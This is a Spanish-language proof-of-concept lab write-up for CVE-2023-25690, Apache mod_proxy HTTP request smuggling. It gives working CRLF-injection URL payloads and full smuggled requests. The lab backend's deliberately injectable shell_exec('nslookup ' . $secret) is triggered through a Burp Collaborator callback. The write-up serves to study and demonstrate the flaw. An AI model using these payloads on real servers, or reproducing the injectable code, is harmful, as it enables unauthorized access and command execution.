oocyginxoo/cve-2023-25690-pocCVE 2023 25690 Prueba de concepto - la configuración vulnerable de mod_proxy en Apache HTTP Server versiones 2.4.0 - 2.4.55 conduce a la vulnerabilidad de HTTP Request Smuggling.
Publicado: 7 de marzo de 2023
| Puntuación base | Confidencialidad | Impacto de integridad | Impacto de disponibilidad |
|---|---|---|---|
| 9.8 | Alto | Alto | Alto |
Algunas configuraciones de mod_proxy en las versiones 2.4.0 a 2.4.55 de Apache HTTP Server permiten un ataque de contrabando de peticiones HTTP. Las configuraciones se ven afectadas cuando mod_proxy está habilitado junto con alguna forma de RewriteRule o ProxyPassMatch en la que un patrón no específico coincide con una parte de los datos del objetivo de petición (URL) proporcionados por el usuario y luego se vuelve a insertar en el objetivo de petición proxyficado mediante sustitución de variables. Por ejemplo, algo como:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
La división/contrabando de peticiones podría provocar la omisión de los controles de acceso en el servidor proxy, el proxy de URL no deseadas hacia los servidores de origen existentes y el envenenamiento de caché. Se recomienda a los usuarios actualizar al menos a la versión 2.4.56 de Apache HTTP Server.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Con RewriteEngine on incluido en la configuración de Apache se habilita el motor de reescritura de URL. La reescritura de URL es una técnica que permite a los servidores web cambiar dinámicamente las URL solicitadas por el navegador de un cliente a una URL diferente antes de servir el contenido.
Por ejemplo, supongamos que tenemos la siguiente estructura de URL para una tienda en línea:
https://example-shop.com/categories/1
Suponiendo la siguiente directiva RewriteRule en un archivo de configuración de Apache:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
Cuando un usuario solicita la URL https://example-shop.com/categories/1, la RewriteRule coincidirá con la URL y capturará el valor 1 usando la expresión regular ^/categories/(.*). Luego, la regla reescribe la URL a http://example-shop.com:8080/categories?id=1 añadiendo el valor capturado a la URL reescrita como parámetro de consulta id.
Dado que la opción [P] está presente en la regla, Apache tratará la URL reescrita como una petición proxy y la reenviará al servidor destino en http://example-shop.com:8080/categories con el parámetro de consulta id establecido en 1. El servidor destino procesará entonces la petición y enviará la respuesta de vuelta a Apache, que la reenviará al cliente.
En resumen, la directiva RewriteRule con la opción [P] se utiliza para reescribir URL y proxyficarlas a un servidor diferente. En este caso, la regla coincide con las URL que comienzan con /categories/ y añade el valor capturado como parámetro de consulta id a la URL reescrita. Apache reenvía entonces la petición al servidor destino, que procesa la petición y devuelve la respuesta.
Por último, en cuanto a ProxyPassReverse /categories/ http://example-shop.com:8080/, esta línea simplemente reemplaza el dominio y la ruta del servidor backend por el dominio y la ruta del servidor proxy, de modo que el cliente pueda seguir correctamente los enlaces y acceder al contenido del servidor backend proxyficado como si se sirviera directamente desde el servidor proxy.
Para simular la vulnerabilidad en Apache usaremos la versión 2.4.55 de httpd. Además, todo el laboratorio estará dockerizado para facilitar la configuración, el despliegue y la reproducibilidad.
La estructura de archivos del laboratorio será la siguiente:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
La configuración final de httpd.conf está estructurada de la siguiente manera:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
Utilice el comando docker-compose.exe up --build para iniciar el laboratorio.
En esta sección explicaré cómo una inyección CRLF puede conducir a un contrabando de peticiones HTTP interno, permitiendo a un atacante obtener acceso no autorizado a recursos internos que de otro modo serían inaccesibles.
Según la descripción del aviso, httpd <=2.4.55 es vulnerable a la división de respuesta HTTP, también conocida como inyección CRLF.
La inyección CRLF ocurre cuando:
que en nuestro caso se puede confirmar pasando el siguiente prefijo CRLF en la URL:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
Al añadir el prefijo anterior a la URL, la petición final resultante será la siguiente:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Tras la petición, el servidor procesará los datos y devolverá un código de respuesta 200 que indica la vulnerabilidad a la inyección CRLF.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
Se puede encontrar más información sobre la división de peticiones HTTP aquí, https://owasp.org/www-community/attacks/HTTP_Response_Splitting
Usando la inyección de cabeceras realizaremos el contrabando de peticiones HTTP interno.
Comencemos con el siguiente prefijo:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
y la siguiente petición
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Al aplicar la regla de reescritura, la petición se transforma al siguiente formato:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
donde la URL codificada se decodifica en sintaxis HTTP válida, lo que hace que el backend trate los datos decodificados como una segunda petición.
Supongamos que nuestra aplicación interna tiene el siguiente código secreto:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
con el siguiente prefijo podemos enviar la segunda petición a la funcionalidad oculta:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
y recuperar la petición en Burp Collaborator:
Parches:
El impacto de esta vulnerabilidad es que permite a los atacantes apuntar y acceder a aplicaciones internas que el proxy inverso debería ocultar, lo que potencialmente conduce a acceso no autorizado, fuga de datos o una mayor explotación.